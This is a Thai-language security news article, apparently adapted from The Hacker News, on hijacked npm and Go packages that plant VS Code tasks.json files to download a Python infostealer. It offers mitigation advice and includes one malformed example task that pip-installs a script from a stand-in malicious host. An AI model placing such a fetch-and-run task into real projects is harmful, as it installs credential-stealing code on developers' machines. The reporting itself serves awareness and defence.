npm และ Go Packages ถูกแฮกใช้ VS Code Tasks ติดตั้ง Python Infostealer

ที่มาภาพ: The Hacker News

Security-อ่าน 7 นาทีThe Hacker News

npm และ Go Packages ถูกแฮกใช้ VS Code Tasks ติดตั้ง Python Infostealer

⚡ สรุป 30 วิ

นักวิจัยพบ npm สองแพ็กเกจและกลุ่ม Go packages ถูกแฮกโดยเพิ่มไฟล์ tasks.json ของ VS Code ซึ่งดาวน์โหลดและรันสคริปต์ Python เพื่อขโมยข้อมูล…

การวิจัยของนักวิเคราะห์ด้านความปลอดภัยไซเบอร์เผยว่ามี npm สองแพ็กเกจและกลุ่ม Go packages ที่ถูกแฮกเพื่อใช้ VS Code Tasks ในการติดตั้ง Python‑based information stealer บนโฮสต์ Windows, Linux และ macOS ที่ถูกทำลาย การโจมตีนี้หลีกเลี่ยงเส้นทางการทำงานปกติของ npm ผ่านสคริปต์ lifecycle ซึ่งอาจเป็นการพยายามให้สอดคล้องกับการเสริมความปลอดภัยของ npm v12 ตามที่บริษัท JFrog ระบุ

Overview

การโจมตีที่ถูกเปิดเผยนี้เป็นรูปแบบใหม่ที่ผสมผสานระหว่างแพ็กจ์ระบบจัดการโค้ด (npm, Go) กับเครื่องมือพัฒนา (VS Code) เพื่อนำรหัสอันตรายเข้าสู่ระบบเป้าหมาย นักวิจัยพบว่าเมื่อผู้ใช้ติดตั้งหรืออัปเดตแพ็กเกจที่ถูกแฮกแล้ว งานของ VS Code จะถูกเรียกใช้โดยอัตโนมัติและดาวน์โหลดสคริปต์ Python ที่ทำหน้าที่ขโมยข้อมูลส่วนบุคคล

ตามข้อมูลจาก JFrog การหลบหลีกการใช้สคริปต์ lifecycle ของ npm ทำให้การตรวจจับโดยเครื่องมือสแกนแบบดั้งเดิมมีประสิทธิภาพลดลง นอกจากนี้ การใช้ VS Code Tasks ยังช่วยให้มัลแวร์ทำงานบนหลายระบบปฏิบัติการโดยไม่ต้องพึ่งพาเครื่องมือเฉพาะของแต่ละแพลตฟอร์ม

Attack Vector

การแฮกเริ่มต้นจากการเข้าถึง npm registry และ Go module proxy โดยผู้โจมตีเปลี่ยนแปลงโค้ดของแพ็กเกจที่มีผู้ใช้จำนวนมาก การเปลี่ยนแปลงนี้ไม่ได้เพิ่มสคริปต์ lifecycle แต่เพิ่มไฟล์กำหนดงานของ VS Code (tasks.json) ที่เรียกใช้คำสั่งดาวน์โหลดและรันไฟล์ Python ผ่าน `pip` หรือ `python`

เมื่อผู้ใช้เปิดโครงการใน VS Code และมีไฟล์ tasks.json อยู่ในโฟลเดอร์โครงการ VS Code จะตรวจสอบและแสดงรายการงานที่กำหนดไว้ หากผู้ใช้เลือกรันงานนั้นโดยไม่ระวัง งานจะดาวน์โหลด payload จากเซิร์ฟเวอร์ควบคุมของผู้โจมตีและทำการติดตั้งบนเครื่องของผู้ใช้

การโจมตีนี้ถูกออกแบบให้ทำงานได้บน Windows, Linux, macOS โดยใช้คำสั่งที่เป็นมาตรฐานของ Python ทำให้มัลแวร์สามารถหลบหลีกการตรวจจับของระบบปฏิบัติการและซอฟต์แวร์ป้องกันที่พึ่งพาการตรวจจับตามพฤติกรรมเฉพาะ

Technical Details

ไฟล์ tasks.json ที่ถูกแทรกเข้ามามีโครงสร้างคล้ายกับงานอัตโนมัติทั่วไป เช่น การคอมไพล์หรือการรันสคริปต์ทดสอบ แต่ภายในมีคำสั่งเช่น

```json { "labelinstall‑malware", "typeshell", "commandpython -m pip install https://malicious.example.com/stealer.py" } ```

เมื่อรัน คำสั่งนี้จะดาวน์โหลดไฟล์ Python ที่ทำหน้าที่เป็น infostealer โดยมีฟังก์ชันหลักคือการเก็บข้อมูลประจำตัว (credentials), คุกกี้เว็บ, ไฟล์คอนฟิกของแอปพลิเคชัน และอาจส่งข้อมูลเหล่านั้นกลับไปยังเซิร์ฟเวอร์ C2

นอกจากนี้ แพ็กเกจ Go ที่ถูกแฮกทำหน้าที่เป็น loader ที่สร้างไฟล์ `tasks.json` ขึ้นโดยอัตโนมัติเมื่อมีการติดตั้งหรืออัปเดตแพ็กเกจนั้น การทำงานของ Go loader นี้ใช้ฟังก์ชันการเขียนไฟล์ของระบบไฟล์ทั่วไป ทำให้การตรวจจับโดยการสแกนแพ็กเกจ Go ยากขึ้น

Detection & Mitigation

เพื่อป้องกันไม่ให้ระบบติดเชื้อ ผู้ดูแลระบบและนักพัฒนาควรดำเนินการตามขั้นตอนต่อไปนี้

  • ตรวจสอบ npm registry และ Go module proxy อย่างสม่ำเสมอสำหรับการเปลี่ยนแปลงที่ไม่ได้รับอนุญาต
  • ปิดการทำงานอัตโนมัติของ VS Code Tasks ที่มาจากโฟลเดอร์โครงการที่ไม่ได้เชื่อถือ
  • ใช้เครื่องมือสแกนที่รองรับการตรวจจับไฟล์ `tasks.json` ที่มีคำสั่งดาวน์โหลดหรือรันสคริปต์จาก URL ภายนอก
  • ปรับการตั้งค่า npm ให้เปิดใช้งาน `audit` และตรวจสอบผลลัพธ์ทุกครั้งก่อนทำการติดตั้งหรืออัปเดตแพ็กเกจ

การอัปเดต npm ไปเป็นเวอร์ชันล่าสุด (รวมถึง npm v12 หรือใหม่กว่า) ยังคงไม่รับประกันว่าจะปลอดภัยโดยสมบูรณ์ หากผู้โจมตียังคงใช้วิธีการหลีกเลี่ยงสคริปต์ lifecycle ดังกล่าว

Impact & Response

ตามข้อมูลเริ่มต้นของ JFrog การโจมตีนี้อาจส่งผลต่อผู้ใช้ที่ติดตั้งแพ็กเกจ npm หรือ Go จากแหล่งที่เชื่อถือได้แต่มีการแฮกอยู่แล้ว จำนวนผู้ได้รับผลกระทบยังไม่มีการเปิดเผยอย่างเป็นทางการ อย่างไรก็ตาม การขโมยข้อมูลส่วนบุคคลโดยใช้ Python infostealer สามารถนำไปสู่การละเมิดความเป็นส่วนตัวและการโจรกรรมข้อมูลทางการเงินได้

บริษัทที่ให้บริการ npm registry และ Go module proxy ได้รับการแจ้งเตือนและกำลังดำเนินการลบแพ็กเกจที่เป็นอันตรายออกจากระบบ พร้อมเผยประกาศให้ผู้พัฒนาตรวจสอบและอัปเดตแพ็กเกจของตนอย่างเร่งด่วน ผู้ใช้ที่สงสัยว่ามีการติดตั้งแพ็กเกจที่อาจถูกแฮกควรตรวจสอบประวัติการติดตั้งและลบไฟล์ `tasks.json` ที่ไม่จำเป็นออกจากโครงการ

Analysis

การใช้ VS Code Tasks เป็นช่องทางใหม่ของมัลแวร์ทำให้การป้องกันในระดับแพ็กเกจเดิม (เช่น การตรวจสอบสคริปต์ lifecycle) ไม่เพียงพอ นักวิจัยชี้ว่าการรวมเครื่องมือพัฒนาเข้ากับกระบวนการจัดการแพ็กเกจอาจเปิดช่องโหว่ที่ซับซ้อนยิ่งขึ้น เนื่องจากนักพัฒนามักให้ความไว้วางใจต่อไฟล์คอนฟิกของ IDE

การหลีกเลี่ยงการใช้สคริปต์ lifecycle ของ npm ยังเป็นสัญญาณว่าผู้โจมตีได้ทำการศึกษาแนวทางการเสริมความปลอดภัยของ npm อย่างละเอียดและพยายามหาจุดบอดที่ยังไม่ได้รับการปิดกั้น การตอบสนองที่สำคัญคือการปรับปรุงเครื่องมือสแกนให้ครอบคลุมการตรวจจับไฟล์คอนฟิก IDE และการทำงานของ loader ที่มาจากภาษาต่าง ๆ เช่น Go

Summary

การแฮกแพ็กเกจ npm และ Go ที่ใช้ VS Code Tasks เพื่อนำ Python infostealer ไปสู่ระบบหลายแพลตฟอร์มแสดงถึงแนวทางโจมตีที่ซับซ้อนและหลบหลีกการตรวจจับแบบเดิม ผู้ใช้ควรตรวจสอบไฟล์คอนฟิกของ IDE และอัปเดตเครื่องมือความปลอดภัยให้ครอบคลุมการทำงานของ loader ใหม่ ๆ อย่างต่อเนื่อง.

แชร์บทความนี้:

ชอบบทความแบบนี้?

สมัคร AI Automate Weekly Newsletter — รับเคล็ดลับ AI + how-to ใหม่
ทุกสัปดาห์ตรงถึง inbox ฟรี ไม่มีสแปม

แหล่งข่าวต้นฉบับ

ชื่อต้นฉบับ
Hijacked npm and Go Packages Use VS Code Tasks to Deploy Python Infostealer
ผู้เขียน
[email protected] (The Hacker News)
แหล่ง
The Hacker News
วันที่เผยแพร่
29 มิถุนายน 2569 เวลา 12:36

Related

บทความที่เกี่ยวข้อง

VS Code เปิดการหน่วงเวลา 2 ชั่วโมงก่อนอัปเดตส่วนขยายอัตโน…Security
10 มิถุนายน 2569 เวลา 13:00

VS Code เปิดการหน่วงเวลา 2 ชั่วโมงก่อนอัปเดตส่วนขยายอัตโน…

Microsoft เพิ่มเวลาหน่วง 2 ชั่วโมงก่อนส่วนขยายของ VS Code จะอัปเดตอัตโนมัติ เพื่อลดความเสี่ยงจากการโจมตีซัพพลายเชน ผู้ใช้ยังคงอัปเดตด้วยตนเองได้หากต้องการ

The Hacker News7 นาที
แคมเปญ Miasma ฉีดมัลแวร์ลง npm มากกว่า 20 แพคเกจ เก็บข้อมูลลับของนักพัฒนาSecurity
-

แคมเปญ Miasma ฉีดมัลแวร์ลง npm มากกว่า 20 แพคเกจ เก็บข้อมูลลับของนักพัฒนา

Miasma แฮกบัญชีผู้ดูแล npm แล้วปล่อยอัปเดตที่มีมัลแวร์ไปยังแพคเกจกว่า 20 รายการในเวลาไม่กี่วินาที ทำให้ CI/CD และเครื่องนักพัฒนาถูกขโมยข้อมูลลับ เช่น…

The Register8 นาที
Norton VPN เปิดฟีเจอร์ Split Tunneling บน macOS ให้ผู้ใช้ Mac ยืดหยุ่นเท่า WindowsSecurity
29 มิถุนายน 2569 เวลา 02:00

Norton VPN เปิดฟีเจอร์ Split Tunneling บน macOS ให้ผู้ใช้ Mac ยืดหยุ่นเท่า Windows

Norton VPN เพิ่มฟีเจอร์ split tunneling บน macOS ทำให้ผู้ใช้ Mac สามารถเลือกแอปหรือเว็บไซต์ที่ต้องการส่งผ่าน VPN ได้เอง เพิ่มความเร็วและหลีกเลี่ยงการบล็อก…

TechRadar6 นาที
Google รายงาน Backdoor .NET ชื่อ STOCKSTAY ของกลุ่ม Turla ที่โจมตียูเครนและอิตาลีSecurity
28 มิถุนายน 2569 เวลา 14:00

Google รายงาน Backdoor .NET ชื่อ STOCKSTAY ของกลุ่ม Turla ที่โจมตียูเครนและอิตาลี

Google Threat Intelligence Group เปิดเผยว่า Turla ใช้ backdoor .NET ใหม่ชื่อ STOCKSTAY เพื่อโจมตีหน่วยงานรัฐบาลและกองทัพยูเครน รวมถึงองค์กรด้านการทูตของอิตาลี…

The Hacker News7 นาที
คัดลอกลิงก์แล้ว!